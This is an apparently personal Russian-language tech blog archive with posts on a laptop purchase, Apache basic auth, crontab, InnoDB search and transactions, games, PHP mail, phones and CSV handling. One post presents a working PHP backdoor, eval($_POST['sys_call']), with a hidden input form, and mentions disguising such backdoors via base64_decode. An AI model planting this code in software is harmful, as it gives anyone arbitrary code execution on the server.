Перейти к основному содержимому

Dell Latitude E6400

· 3 мин. чтения

Первый лаптоп что я покупал был Toshiba Satellite, когда я был в армии. Дело было в спешке, особо не присматривался, взял и прогадал. Как говорится скупой платит дважды. Несколько лет мучался с тем что 196 мегабайт памяти невозможно было расширить из-за особых форматов, которые в Таллинне днём с огнём не сыщешь. Поэтому для своего нового лаптопа я подготовился основательно.

Во первых я припомнил все возможные бренды в этой области и составил в голове картинку "социального опыта", которая выглядела примерно так -

  • Apple Mac - дорого, шик, вероятно в некоторых местах с отличным решением дизайна, иногда отстаёт от последних достижений (ждут новую линию)
  • HP - сначала очень привлекает корпус, но внешность обманчива, внутренний дизайн может привести к поломке графических карточек
  • Asus и Acer - существуют, пытаются что-то в нетбуках делать, корпусы не ахти, среднячки
  • IBM (Lenovo) - видел у многих уважаемых айтишников, внутренности вкусные но пластик кажется старым
  • Dell - некоторые серии слишком пластиковые, тоже у многих айтишников и коллег по работе замечал
  • Fujitsu Siemens - года четыре назад считал отличным вариантом, всякие лайфбуки с корпусами для военных, потом стали не ахти
  • Sony - видел только у одного коллеги да у российских чиновников, местных представителей не нашёл, а на сайте про Vaio молчат. А если и говорят то цены бешеные
  • Samsung - завоёвывает рынок всей оргтехники, в т.ч. на кухне, хочется чуть понадёжней, хотя выглядят нормально

В итоге я остановился на Dell. Начал изучать какие линии они предлагают, в Эстонии как раз недавно открылось их представительство - компания IT grupp AS. Если погулять по местным магазинам типа OxAse или Atf то видно что наценка в районе 5-10% по сравнению с представительством, либо бывают дешевле - когда модель спросом не отличается и хочется со склада убрать.


У Dell есть несколько линеек (прям как а автомобилей классы) для разных целевых аудиторий:

  • Vostro - наверно самая дешёвая серия
  • Inspiron - пишут что для домашних людей, но скорей - для студентов. Средняя цена.
  • D-серия тоже для бизнеса но подешевле. Тут в корпусе больше пластика, зато можно компенсировать внутренностями
  • E-серия для бизнеса. Отличается большей ценой, отличным качеством и надёжностью
  • Precision для олигархов. Всё по максимуму, и цены тоже

В итоге мне с работы посоветовали D630, либо E6400. Выбрал я последнюю потому что у корпуса значительно меньше пластика и выглядит цельно и солидно. Кроме того я хотел отличительные качества батареи - предлагались три варианта - 3, 5 и 19 часов. Последнюю я не взял лишь потому что размер и вес сильно увеличится. А вот 5-6 часов очень хороший показатель для студентов.

По интерфейсам - можно брать wifi N-типа, всевозможные кард-ридеры, bluetooth, расширения для видеокарты, док-станции, встроенную камеру, память до 8 гиг, SSD-диски и тп. Естественно я взял только необходимое, пожалел чуток что забыл подсветку клавиатуры взять, был бы как Мак. Из минусов - заказ выполнялся полтора месяца, несколько раз приходилось тормошить магазин, но приятно что в качестве компенсации дали сумку и 5 лет гарантии. Так что если кто ищет - советую именно эту версию.

Basic auth с помошью .htaccess

· 1 мин. чтения

Иногда надо быстро временно закрыть доступ к сайту, а писать красивые вещи, перетаскивать проект в другой каталог - лень. А иногда просто надо сделать закрытую область. Для этого в апаче можно легко с помощью .htaccess файла устроить простую авторизацию. Для этого понадобится

  • полный путь к проекту, например /home/data/virt15566/www.mysite.com/
  • htpasswd программка, лежащая в апаче

Шаг 1 - заливаем в корень сайта .htaccess файл с таким содержанием

AuthType Basic AuthName "Restricted area" AuthUserFile /home/data/virt15566/www.mysite.com/.htpasswd Require valid-user

Шаг 2 - генерируем содержание файла с помощью программки

c:\>cd C:\Program Files\EasyPHP 3.0\apache\bin C:\Program Files\EasyPHP 3.0\apache\bin>htpasswd -nmb user pass>.htpasswd

В итоге получаем .htpasswd файл вида:

user:$apr1$r2zs21ge$V1CxOLm7r88XNYE0aaJKm.

Crontab

· 2 мин. чтения

понедельник, 8 января 2007 г. в 12:04:09

Cron или crontab - UNIX демон, периодически вызывающий некоторую комманду. Обычно доступ к его настройкам поставляется на хостингах в контрольной панели, либо через прямой доступ по ssh. 

По умолчанию демон должен работать, но если нет - можно запустить вручную

service crond start

Вот несколько комманд для редактирования файла

crontab -e nano /etc/cron.d/sitename

Cron хранит таблицу настроек вида

минутачасденьмесяцдень неделикомманда

Благодаря этой программе можно разрабатывать эффективные приложения на php практически с неограниченным временем исполнения, благодаря постоянному вызову этого файла. Вызывать можно либо через UNIX утилиту wget, либо напрямую из php:

#В случае ошибок, будет присылаться письмо
MAILTO="artkurapov@gmail.com"

#сохраняет каждую минуту в пустоту.. не очень красиво. local кстати тут для мака
* * * * * /usr/local/bin/wget -q -O /dev/null http://example.com/auto.php

#вот теперь даже сохранять не надо ничего..
* * * * * /usr/bin/wget --spider -q http://example.com/auto.php

* * * * * root cd /var/www/sitename/ && php -d max_execution_time=0 index.php some_argument_as_function

Вариации

Если у нас маленький сайт/домашняя страница, где надёжность не настолько важна как в банковских системах, то можно использовать публичный ресурс WebCron.org

Если система - десктоп с Windows, то можно использовать удобно прячущуюся в tray, программку nnCron .

20 типичных уязвимостей в коде

· 1 мин. чтения

Я думаю самая главная ошибка - между креслом и клавиатурой, но если разбирать больше чем "не заметил" и предположить что новички не совсем знают о критических ошибках которые могут вызвать серъёзные последствия типа потери данных, вызова инородного кода, недоступность сервиса или кражи данных, то чёрный список выстроится следующим образом:

Полнотекстовый межтабличный поиск для InnoDB

· 2 мин. чтения

Предлагаю решить интересную SQL-задачу. Думаю у среднего девелопера она займёт пол часа или больше (я же сразу спросил у SQL-гуру).

Условия

Возникла интересная задача при переходе с MyIsam на InnoDB. Как известно, полнотекстовый поиск у последнего движка отсутсвует, поэтому было два решения - делать обычное зеркало на MyIsam где был бы ктому же и очищенный от html текст (кстати так сделано в движке этого блога), либо более глубокая индексация с разбивкой на слова - я упоминал такую идею когда писал про морфологический поиск.

Второй вариант с одной стороны давал кучу головной боли с индексацией, очисткой, держанием многотысячной таблицы, логике поиска - задачи которые должна решать СУБД или расширенный индексатор типа sphinx. С другой стороны - выглядит инновативно, теоретически можно уже организовывать синонимы для тех или иных слов на уровне индекса или искать с учётом расстояния между словами. Вобщем гугл 2. На вскидку такой способ оказался в 6 раз быстрей InnoDB.

Сказано - сделано. Получилось 3 основных таблицы + собственно таблицы которые индексируются.

  • words - id, word (varchar, уникальный)
  • fields - id,  field (varchar, уникальный; значения например "title", "content"), object_id (int; указывает на id статьи),
  • word_fields - word_id, field_id, pos (int, положение в тексте)

Задача

Надо реализовать AND-поиск по этим таблицам с одним запросом где на входе будут два (или больше) слов, а на выходе - список уникальных object_id. Сложность в том, что связующая таблица word_fields имеет не уникальные пары word_id и field_id, поскольку в тексте статьи слова могут повторяться.

Для одного слова запрос выглядит так

SELECT t2.object_id  
FROM (SELECT id FROM words t0 WHERE t0.word LIKE 'Тест%') as word_ids
INNER JOIN word_fields t1 ON (t1.word_id=word_ids.id)
INNER JOIN fields t2 ON (t2.id=t1.field_id AND t2.field='content')
GROUP BY object_id
LIMIT 10

Решение

Для OR:

SELECT f.object_id FROM search_fields f  
INNER JOIN search_word_fields sf ON sf.field_id = f.field_id
INNER JOIN search_words w ON w.id = sf.word_id AND (w.word LIKE 'Test1%' OR w.word LIKE 'Test2%')

Для AND:

SELECT f.object_id FROM search_fields f  
INNER JOIN search_word_fields sf1 ON sf1.field_id = f.field_id
INNER JOIN search_words w1 ON w1.id = sf1.word_id AND w1.word LIKE 'cat%'
INNER JOIN search_word_fields sf2 ON sf2.field_id = f.field_id
INNER JOIN search_words w2 ON w2.id = sf2.word_id AND w2.word LIKE 'dog%'

Транзакции InnoDB

· 4 мин. чтения

InnoDB это транзакционный, реляционный движок работающий на основе MySQL сервера. Начиная с 2001 года он поставляется в стандартной сборке, а с версии 5.1 может устанавливаться в качестве плагина (без необходимости перекомпилировать ядро сервера). Синтаксис очень простой.

START TRANSACTION; ... COMMIT; -- или же ROLLBACK; если что-то пошло в логике не так

Про определение

Определение транзакционности и реляционности значат во-первых значат полноценную связанность таблиц через FK и как следствие - целостность данных при удалении рядов. С MyIsam как известно приходилось вручную удалять связанные данные в нескольких таблицах, в InnoDB - каскадное удаление одним запросом. Во-вторых поскольку для БД немыслимы параллельные версии данных как в SVN и некому эти версии объединять в одну ветку, но при этом необходима параллельная работа нескольких процессов (пользователей) с одними данными, то в качестве решения становится транзакции.

Очередь из запросов-автомобилей теперь пополняется атомарной транзакцией-автобусом. Естественно это плохо, поскольку чем длиней и дольше выполняется транзакция тем больше параллельных процессов будут ждать его. Для ускорения работы создаются остановки - типы и уровни блокировки данных. Для InnoDB по умолчанию это блокирование на уровне строки (по PK), тогда как в MyIsam атомарная операция блокирует всю таблицу.


Тразнактивность = блокировка

Два движка поэтому нельзя сравнивать - InnoDB из-за транзактивности приходится спускаться на уровень строк, поскольку вероятность очереди к одной и той же строке у двух процессов ниже, следовательно быстрей будет работа. Но как результат - на каждую строку приходится делать флаги блокировки, значит чуть больше памяти. Из-за разницы в уровнях блокировки данных, сравнивать InnoDB с MyIsam по производительности в зависимости от числа процессов достаточно трудно.

Есть несколько типов блокировок

  • READ (пока я читаю - никто не запишет) - по умолчанию на SELECT ставится
  • WRITE (пока я пишу - никто не прочтёт и не запиет) -  по умолчанию на UPDATE ставится
  • LOW_PRIORITY WRITE (дам быстро прочитать если кто-то ждёт)

В качестве ликбеза - блокировать можно вручную целую таблицу (но не нужно ибо для InnoDB это убого тормозит все процессы). Повторное блокирование снимает предыдущие блокировки. Блокировать можно и виртуальные таблицы (view)

LOCK TABLES user WRITE, company READ; UNLOCK TABLES;

Уровни изоляции

В случаях когда два процесса одновременно и частично затрагивают общие данные то не обязательно все данные будут полностью блокированы. Существуют послабления, когда параллельные транзакции получают доступ к незавершённым транзакциям.

Текущий уровень можно получить из настроек, можно прописать в настройки или исполнить запросом - как на время транзакции так и на время всего соединения.

SELECT @@global.tx_isolation; SET TRANSACTION ISOLATION LEVEL READ COMMITED;

По степени точности (строгости блокировки) по убыванию согласно стандарту SQL92 выделяют:

  • SERIALIZEABLE - полная независимость транзакций, в т.ч. своё чтение
  • REPEATABLE READ (повторяющееся чтение) - значение для InnoDB по умолчанию. Чтение общих строк в транзакциях разрешается, но не их изменение.
  • READ COMMITED (чтение фиксированного) - блокировка записи, но общее чтение. Есть проблема повторяющегося чтения, т.е. в первой транзакции несколь раз по разному читаются общие данные, потому что вторая транзакция их меняет.
  • READ UNCOMMITED ("грязное" чтение незафиксированного) - никакой блокировки на чтение и запись. При двух одновременных UPDATE поле получит значение последнего изменения в обоих транзакциях. Возможны множество проблем, особенно если до ROLLBACK одной транзакции изменения читает другая.

В REPEATABLE READ существует проблема фантомной вставки. Поскольку блокируются только ряды на UPDATE, но не на INSERT, то параллельно с транзакцией повторяющегося чтения можно сделать вставку, из-за чего возникнет фантомный ряд. Что-бы этого избежать InnoDB использует три способа блокировки - строка, диапазон и следующая строка на случай вставки (глубже я вчитываться не стал)

Вся эта теория конечно полезна, но по настоящему они используются реальными запросами.

  1. Чтение с уровенем REPEATABLE READ (блокировка на запись). Ждёт если над данными кто-то работает.
    SELECT... LOCK IN SHARE MODE
  2. Чтение в режиме SERIALIZEABLE (блокировка на чтение и запись)
    SELECT... FOR UPDATE

При этих запросах на время исполнении транзакции она переходит в новый режим.

Травматизм deadlock'ов

Deadlock'и, т.е. тупиковая ситуация одновременных процессов (потоков) которые нуждаются в одних и тех же или зависимых друг от друга данных часто возникают в программировании. InnoDB не исключение. Например если идут две транзакции и каждая хочет изменить ресурсы (строки/диапазон строк) которые сейчас заблокированы. Получается что ни одна транзакция не может закончится.

В таких ситуациях InnoDB вынуждена откатить одну из транзакций и выдать ошибку

ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction

Такие проблемы возникают при большой параллельной вставке/изменении/удалении рядов несколькими процессами. MySQL советуют все транзакции снабжать повторным запуском транзакций.

По теме..

Scrum

· 1 мин. чтения

Scrum - одна из методик гибкой разработки программного обеспечения для небольших комманд.

Суть — цикличность и самокоррекция на основе обратной связи (с клиентом, процессом и тп.)

  • Регулярные ежедневные встречи всей комманды синхронизируют её.
  • Разработка происходит циклами по 1-4 недели (спринт) и как правило завершается выпуском части продукта.
  • В начале спринта происходит планирование задач (1-2ч)
  • В середине спринта может происходить подготовка задач к следующему спринту (груминг)
  • В конце спринта происходит ретроспектива (sprint review) где обсуждается что прошло хорошо, что прошло плохо, как этого избежать в будующем

Fallout 3

· 5 мин. чтения

Прошёл Fallout 3. Это явно не культовый Fallout 2 - атмосфера не та, без сатиры и юмора и более депрессивная. Впрочем не играть в новый Elders Scrolls 5: Fallout было бы глупо.

Предыстория

Сначала я решил пройтись по сценарию в целом что же произошло в мире Fallout.

Всё выглядит вполне правдоподобно - в районе 2050-2070 гг. истощаются ресурсы, США аннексирует Мексику и Канаду; Евросоюз воюет с арабами; Китай воюет с США. Вместо бензина начинают использовать мобильные ядерные батареи. В конце концов в 2077 наступает тотальная ядерная бомбардировка (the Great War).

Теологический дуализм. Катары и альбигойцы

· 4 мин. чтения

К 10 веку н.э. Европа пребывала практически в тёмных веках. В 1054 г. произошла схизма (раскол православной и католической церквей). Государства были раздроблены, имели много диалектов и национальностей. Например на юге современной Франции (провинция Lengadòc) жители в то время не говорили по-французски. Возможно именно они повлияли и на этимологию утвердительного выражения "OK", но именно тут появились катары.

На всём просторе Европы католическая церковь становилась порочным драконом, учение и действия которой вынуждали просвящённые круги искать спасение в других областях, но до реформации и ренессанса было ещё далеко. Появлялись новые учения, с которыми иерархичное папство боролось всеми силами - обвиняя в ереси и напуская крестовые походы. Наиболее известный пример - тамплиеры, но я решил покопаться в другой истории. Ведь тамплиеры обладали экономической, военной и политической властью, а катары обладали властью духовной в 1100-1200 гг. что делало их значительно более опасным противником.

Call of Duty 4

· 9 мин. чтения

Crysis Warhead это не дополнение, а сиквел к выпущенному год назад 3d-shooter'у "Crysis" от немецкой компании Crytec, создавшей практически революцию качеством графики в своём движке CryEngine 2. Эту революцию раньше видели в Doom 3 от компании id software, а поздней в Half Life 2 от Valve. Игра нацелена на молодёжь от 16 лет и старше, ввиду обилия насилия

Конкурентами как Crysis так и Crysis Warhead можно назвать Bioshock, Call of Duty 4 и готовящися к скорому выходу Fallout 3. Каждая из игр имеет отличительную от "просто стрелялки" изюминку. В Bioshock это способность эволюционировать, в Call of Duty 4 это политический сценарий, достаточно не далёк от этого Fallout 3 где апокалипсис уже наступил. За год со времени выпуска было продано более 1.5 миллиона копий первого Crysis'а, удостоилась игра и отличных отзывов - в среднем 9 из 10 среди западных журналов и сайтов компьютерных игр. Над разработкой работали более 7000 разработчиков

Создание компьютерной игры

· 7 мин. чтения

Создание компьютерной игры похоже на написание книги — в общем случае надо не только много знать из разных областей, но и уметь подходить к процессу творчески. В художественной литературе писатель может работать только со словом, а в компьютерной игре автор работает с мультимедийным множеством звука, видео, интерактивности и нелинейности.

Универсальная игра сочетает в себе три качества — история, творчество, соревнование. Сочетания этих качеств приводят к опыту — воображения, навыка и драмы.

Может показаться что ныне самому создать популярную игру невозможно. Разобраться с самыми передовыми технологиями, продумать сюжет, нарисовать графические основы, воплотить правила в жизнь, озвучить.. для одного человека необъятно. Но не стоит забывать и про растущую открытость технологий, облегчающую весь процесс.

Spore - симулятор жизни

· 5 мин. чтения

Что наша жизнь? Игра!

Недавно вышедшая игра от создателей Sims наверняка станет хитом, потому что жизнями управлять любят практически все и похожие игры уже были отмечены популярностью - Sims, Black and White, Populous: the beginning, Civilization, Galactic civilizations. Весь шарм игры в том, что вы сами делаете живых существ начиная с протоклетки до огромных цивилизация.

Статический и динамический анализ php-кода

· 2 мин. чтения

PEAR - вполне неплохая php-библиотека, хоть и достаточно тяжёлая. Определённо и в других библиотеках имеются классы работающие с рассылкой почты. А рассылка почты системой должна как правило отличатся от обычной mail() функции. Более того, модули рассылок почты зарегистрированным пользователям обычно самые сложные. И вопрост не столько в том что я ниже описываю как отсылается почта, а в том кому и в каком виде это делается.

При работе с таким модулем обычно делают такие основные регистры (понятия, коренные таблицы, классы если хотите):

  • Письмо которое включает заголовок, содержание (наверно на нескольких языках)
  • Рассылка (кому какое письмо надо отослать и прогресс этого)
  • Пользователи (не обязательно из таблицы зарегистрированных пользователей, может быть вполне список почтовых адресов)

Дальше можно усложнять тем что можно выбрать пользователей по каким-нибудь параметрам (возраст, язык, пол, группы и тп). Можно добавить слежение за тем что пользователь прочитал письмо (вставить картинку с сайта). Обязательна функция отказа от рассылки. Это наверно все знают, поэтому делюсь кодом который часто использую для собственно процесса отсылания почты.

Ещё одна особенность при авторассылке это шаблонная замена имени, ссылок, дат, цен - всего того что пользователи с издёвкой отмечают корпоративной безжизненностью. Эти замены должны быть достаточно гибкими что-бы пользователи не заметили что они дешёвый материал; Нельзя рассылать письма типа "Дорогой Ира Кузнецова", или "Дорогой Artjom.." - надо обращать внимание на язык, пол, временную зону, кодировку имени пользователя. Умную рассылку не так легко написать, но сегодня я не об этом, а только о части - о картинках.

Есть два типа внедрения картинок - со внешними ссылками (помоему наиболее приемлимый), либо с картинками которые прикреплены как ариложения (attachment). Этот второй вариант значит что картинки покажут сразу (пользователю не надо подтверждать доверие ко внешним ссылкам), но в то же время некоторые email-сервисы типа google всё-равно внизу страницы уродливо показывают эти картинки отдельно как приложения, тогда как Outlook жуёт нормально.


require_once('Mail.php');  
require_once('Mail/mime.php');
                
$mime = new Mail_mime("\n"); $mime->addHTMLImage(sys_url.'img/stripe.gif', 'image/jpeg');
$mime->addHTMLImage(sys_url.'img/logo.gif', 'image/jpeg');       
$mime->_build_params['html_charset']='UTF-8';
$mime->_build_params['text_charset']='UTF-8'; $mime->setTXTBody($arrTemplate['txt']);
$mime->setHTMLBody($strWrappedHTML);
        
$body = $mime->get();
$hdrs = $mime->headers(array('From' => $arrTemplate['from'], 'Subject' => $arrTemplate['subject']));
        
$mail =& Mail::factory('mail');
$mail->send($arrParams['email'], $hdrs, $body);

Если будете интегрировать, гляньте баги 1436 и 12216 тоже

Мобильный телефон - сезон лето 2008

· 4 мин. чтения

Эволюция мобильника

Современные мобильные телефоны уже не просто телефоны как это изначально планировалось. Функциональность обрастала постепенно - сначала адресная книга была очень нужной, потом добавились текстовые сообщения SMS, одновременно с множеством настроек времени, калькулятора, будильников и звонков. С уменьшением транзисторов стала увеличиваться внутренняя память и процессор - появился встроенный фотоаппарат, плееры музыки в mp3, а потом и видео.

В плане софта модели как правило делались закрытыми, хотя и были некоторые исключения где можно было оперировать файлами напрямую, вместо копирования только разрешённых java-апплетов. На данный момент заметна тенденция перехода со своих ОС на общие - Symbian, Windows Mobile, т.е. рынок в руках "смартфонов".

Проблема выбора

Наверняка я не один, и выбор мобильника для рядового человека становится достаточно тупиковой ситуацией. Число параметрам по которым можно оценивать все телефоны может достигать сотни! Число же относительно новых моделей которые можно застать вживую в магазине колеблется от десяти до сотни, я уже не говорю про интернет-магазины где можно найти как двадцатилетней давности модели, так и только готовящиеся к выпуску.

Прежде всего что-бы вы понимали мои предпочтения - мой старый телефон Siemens M75, за исключением глюков со внезапным выключением радовал меня более 3х лет своей прочностью и медийными способностями. Покумекав, я решил выписать категории по которым надо искать претендентов:

  1. Корпус и его эргономика
    Представляя себе спектр внешних видов, я нелюблю раскладушки, крутилки и очень широкие "наладонники". Для меня в идеале это кирпич который хорошо помещается в руку, не слишком тонкий. Допускаю тип "слайдеров", но в любом случае корпус должен быть надёжный, при возможности - очень прочный и водонепроницаемый. Стилус (перо для сенсорного экрана) мне не хочется для мобильника, не очень удобно особенно за рулём.
  2. Аккумулятор
    Я нелюблю постоянно беспокоится что-бы у меня не сел телефон. В любом случае за 1000 мАмп, и в зависимости от медиа-нагруженности - от 350 ч при ожидании. В смешанном режиме я надеюсь хотя-бы 4 дня что-бы он работал без зарядки.
  3. Связь
    За видео звонками будущее, поэтому - 3G. Так же я люблю посидеть бесплатно в интернете, поэтому WiFi. Я планирую путешествовать на природе, поэтому GPS может пригодится.
  4. Soft и useability
    Я люблю на досуге поиграть в шахматы и читать книжки, думаю Java MIDP 2.0 уже завоевала рынок, поэтому Opera mini работать будет. В плане органайзера - календарь как правило у многих уже присутсвует, а синхронизация, outlook и офис меня мало волнуют. Для этого есть ноутбуки, можно потерпеть.
    В плане удобства, я нелюблю когда кнопок натыкано со всех сторон. Вполне можно обойтись 14ю кнопками. Сенсорный экран хорош, но может мешать из-за отсутсвия осязаемости кнопок.
  5. Камера
    Пользуюсь я ей очень редко, но это как правило самые запоминающиеся моменты. Она не должна выпирать из корпуса. Лучше бы была хорошая оптика чем высокое разрешение. Было бы очень красиво выкладывать сделанные фотки сразу в интернет

Цена и претенденты

Определив категории и поняв насколько я закатал губу как клиент, мне так-же стало понятно что выкладывать более половины месячной зарплаты я не хочу, поэтому недавно аннонсированые топовые модели Samsung i8510 INNOV8 и Nokia N96 сразу отпадают, хотя они практически со всеми современными возможностями.

Я полистал обзоры мобильников типа мобигуру и mobilereview, понял что будет в будующем и что много ещё нет на прилавках у местных операторов, более того — производители как будто нарочно вносят неразбериху как в названия моделей так и в их возможности, видимо чтобы продовалось лучше. Заказывать по интернету мне лень, поэтому претенденты сформировались при помощи Яндекс Маркета и ценовой диапазон у всех в районе 400-700$ с обязательным 3G и WiFi

Цена и корпусПреимуществаНедостатки
Nokia N82650$ МонолитGPS, 5мп камера, microSD, GPS + карта225/4 ч = 1050мАч, практически - 2 дня, узкие по виду клавиши
Nokia E51400$ Монолит с клавишамиmicroSD, Symbian, достаточно прост и дёшев, металлический корпус
Samsung SGH-G810600$ Слайдер5 мп камера со вспышкой, GPS, частично металлический, выход на наушникибольшой корпус
LG KS20 Corona600$ Монолит с сенсорным экраномSD-карта и 256 МБ памяти.1050 мАч, широкий корпус
SonyEricsson G900600$ Монолит с кнопками и сенсорным экраномSymbian, 5мпикс камера, сенсорный экран, энергопотребление - 380/12 часов, фонарикM2 тип карточки, 160 МБ памяти, 950 мАч, тонкая крышка корпуса, стилус
Asus P320 + GPS600$ МонолитСенсорный экран, GPS, Windows mobile 6.1, SD-карты более 4 гбпосредственная камера, стилус

Последние мысли перед выбором:

  • Почему Nokia ставит GPS с картой которые я так ценю для похода, но при этом забывает что я могу в лесу быть дольше двух дней, а вышки там далеко, батарея сядет быстро. Да и в городе два дня маловато.
  • Маленький корпус E51 с другой стороны удобно - всего по минимому, только то что надо.
  • Выход на наушники в Samsung и защита камеры пластиком конечно полезны, но не в ущерб эргономике. Такая бандура получается
  • Сенсорный экран LG и стиль под чёрное стекло идёт дамам за 30
  • В меру функциональный и не выдающийся размерами SonyEricsson хорош для молодёжи

Совершенно случайно взял iphone

Простейший backdoor на php

· 2 мин. чтения

Backdoor — тайный ход, лазейка. Разумное человечество использовало всегда запасной случай что-бы не попасть впросак. К примеру те же замки, которые могли иметь по несколько тайных ходов на случай осады. В том же Гарри Поттере это придаёт много интриги сюжету, а вместе с ним и больше свободы, силы и возможностей персонажу.

В инфосистемах же лазейки нужны не только мстящим бывшим сотрудникам, влезшим через загрузку аватара хакерам, но и в обычном процессе поставки платной зашифрованной Zend'ом или IonCube'ом CMSки. Помоему самый лучший backdoor на php выглядит примерно так:

eval($_POST['sys_call']);   //echo '<form method="POST"><textarea name="sys_call"></textarea><input type="submit"></form>';

Конечно тут могут быть вариации с проверкой IP или домена "палача", и более сложные защиты от третьих лиц. С точки зрения клиента, таким же обходным путём является функция восстановление пароля через email.

Маскировка таких бэкдоров обычно делается с помощью base64_decode с запуском например через регулярные выражения

Взломы

Не в планах было писать о взломах, но поскольку модуль статистики у меня исправный, а запросы к серверу интересные, то немогу не поделиться

Основная угроза кроме очевидных XSS и SQL injection'ов - в использовании shared-хостинга и установке прав 777 на папку. Это значит что злоумышленник может заказать такой же хостинг и получив работу на этом же сервере, будет пробовать записать что-то в эту же папку.

Kings bounty

· 3 мин. чтения

Первое впечателение от игры — клон серии Heroes of Might and Magic, добротно сделанный на русском с мультяшной 3х-мерной графикой и сказочным интерфейсом. В отличие от HOMM, игрушка более квестовая чем стратегическая, а управлять можно только одним героем, недавно вышедшим из академии на службу короля.

В игре три класса рыцарей - воин, паладин и маг и соответсвенно три основных направления развития сила, дух и магия. Дерево уровневой прокачки похоже на многие diablo-подобные rpg и не очень сложное, а вот их наполнение происходит не с опытом полученных из битв, а при помощи камешков трёх типов, которые раскиданы по карте и за которые всё-равно надо сражаться.

На деньги само собой можно купить армию, артефакты дающие бонусы атаки, защиты и интеллекта, но в то же время денег много не бывает, а если и бывает то на баланс игры это не влияет, потому что рыцарь ограничен способностью лидерства, которое повышается постепенно с опытом и в целом отображает уровень героя. Вот и получается, что надо ходить по карте выискивать наиболее выгодных противников и разрешать подходящие квесты, постоянно заботясь о наилучшем состоянии армии.

Post form с window.open

· 1 мин. чтения

четверг, 19 июня 2008 г. в 17:13:56

Я сам не люблю popup-окна, но иногда клиенту очень уж хочется. Публиковать же форму в такое окошко имеет смысл например при работе с отчётами - в основном окошке выделяются данные, а в открывающемся показывается список готовый для распечатки c window.print()

Решение простое:

<form method='post' action='' target="foo"   onSubmit="window.open('', 'foo', 'width=850,height=400,status=yes,resizable=yes,scrollbars=yes')">

Если же подобное открытие формы должно зависеть от других элементов, например checkbox'а, то на jQuery это выглядит так:

$('#report_form').submit(function(){           if ($('#csv_radio').attr('checked')!=true){               this.target="foo";               window.open('', 'foo', 'width=950,height=400,status=yes,resizable=yes,scrollbars=yes');           }           else this.target="_self";       });

Кэширование js сжатием gzip

· 2 мин. чтения

Cache — временные данные или устройство по их хранению, созданные для ускорения чтения/записи. Все программисты это знают. Ускорение загрузки web-сайтов тема обширная, начинающаяся с сервера и заканчивающаяся клиентом. К сожалению я не нашёл более-менее подходящих решений по объединению и кэшированию js-кода, поэтому к своему блогу я написал свою схему, о которой вкратце и расскажу..

Существует сжатие «packer», которое убирает все символы форматирования и переименовывает имена функций и переменных в js и предоставляет т.н. minified-версию скрипта. Все с этим прекрасно знакомы на примере больших библиотек jQuery, TinyMCE, prototype. Кроме того что код становится совершенно не читаемым, это может вызвать неработоспособность кода, когда имена переменных динамические.


Моя идея простая — разделять js/css по файлам разработчикам надо для поддержания модульной структуры. Обычно я в контроллере создаю список файлов которые надо присоединить к данному документу, вместо того что-бы прописывать это вручную в темплейте. Но теперь надо сделать так, что-бы до показа темплейта вызывалась функция кэширования, которая проходилась бы по списку, проверяла из них локальные файлы на время изменения, объединяла в один файл и создавала или перезаписывала gz-файл с именем, сформированным из md5-хэша имён входящих файлов.

Всё просто и в сумме заняло часа 4 на раздумье. Привожу метод cache_js из класса Controller.

function cache_js(){  
$arrNewJS=array();
$strHash='';
$strGzipContent='';
$intLastModified=0;

foreach ((array)$this->scripts as $file){
if (substr($file,0,5)=='http:') continue;
if ($file[0]=='/') $strFilename=sys_root.$file;
else $strFilename=sys_root.'app/front/view/'.$file;
$strHash.=$file;
$strGzipContent.=file_get_contents($strFilename);
$intLastModified=$intLastModified<filemtime($strFilename) ? filemtime($strFilename) : $intLastModified;
}

$strGzipHash=md5($strHash);
$strGzipFile=sys_root.'app/front/view/js/bin/'.$strGzipHash.'.gz';

if (file_exists($strGzipFile) && $intLastModified>filemtime($strGzipFile) || !file_exists($strGzipFile)){
if (!file_exists($strGzipFile)) touch($strGzipFile);
$gz = gzopen($strGzipFile,'w9');
gzputs ($gz, $strGzipContent);
gzclose($gz);
}

Про css я писать не стану, идея аналогичная. Единственный вопрос в автоматизации кэширования и в порядке входящих файлов. Впрочем в результате сжатия 5 запросов превратилось в 1, а суммарный размер уменьшился в 3 раза.

В случае с css оказалось, что файл должен иметь расширение не .gz, а всё-таки .css, но заархивированный варинат тоже подходит

Читайте так-же:

Оплата кредитной карточкой с php

· 2 мин. чтения

Большинство систем оплат работают по принципу ворот (gateway) - передал данные, они обработались и вернулись. С клиентом или без него. Сегодня на devclub я рассказывал об эстонских pangalink'ах, но на самом деле я в последнее время интересовался кредитками. О них сегодня тоже рассказывали, перескажу коротко.

CSV - кодировки, импорт и экспорт

· 2 мин. чтения

Comma Separated Values - типичный способ экспорта табличных данных, но далеко не стандартный в плане совместимости между Excel, php и другими источниками данных. Надо читать RFC, и пробовать всё на практике

Самое наглядное - если вы думали что данные достаточно через запятую перечислить, то если вы сохраните простой текстовый файл с такими данными:

ID,name 1,Mac'duck

То в Excel получите

Тому несколько причин

  • Отсутсвие utf8
  • Разные символы разделения данных (табы вместо запятых)
  • Особые символы (", n , r) должны очищаться что-бы не побить линейную разметку
  • fgetcsv()
  • Данные лучше помещать в двойные кавычки, а сами двойные кавычки в данных эскейпятся повторением:
    $value = str_replace('"', '""', $value);
    $value = '"' . $value . '"' . ",";

Mysql

SELECT id, name, email INTO OUTFILE '/tmp/result.csv'
FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY 'n'
FROM users WHERE 1

 

Экспорт

header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Description: File Transfer');
header('Content-Type: text/csv');
header('Content-Disposition: attachment; filename=SomeFile_' .time(). '.csv;');
header('Content-Transfer-Encoding: binary');
header('Content-Length: '.strlen($strCSV));

mb_internal_encoding("UTF-8");

$strCSV= chr(255) . chr(254) . mb_convert_encoding($strCSV, "UTF-16LE", "UTF-8");

 

Импорт

uiyi

$sCSVFileData = file_get_contents($aFile['tmp_name']);
if (mb_detect_encoding($sCSVFileData)) {
$sCSVFileData = mb_convert_encoding(mb_substr($sCSVFileData, 2, mb_strlen($sCSVFileData)), "UTF-8", mb_detect_encoding($sCSVFileData));
}
else {
$sCSVFileData = mb_convert_encoding(mb_substr($sCSVFileData, 2, mb_strlen($sCSVFileData)), "UTF-8", "UTF-16LE");
}

$aCSVLines = explode("rn", $sCSVFileData);

for ($i = 0; $i < count($aCSVLines); $i++) {
if ($i > 0) {
$arrData[] = getCSVValues($aCSVLines[$i], "t");
}
}

function getCSVValues($sString, $sSeparator = ",") {
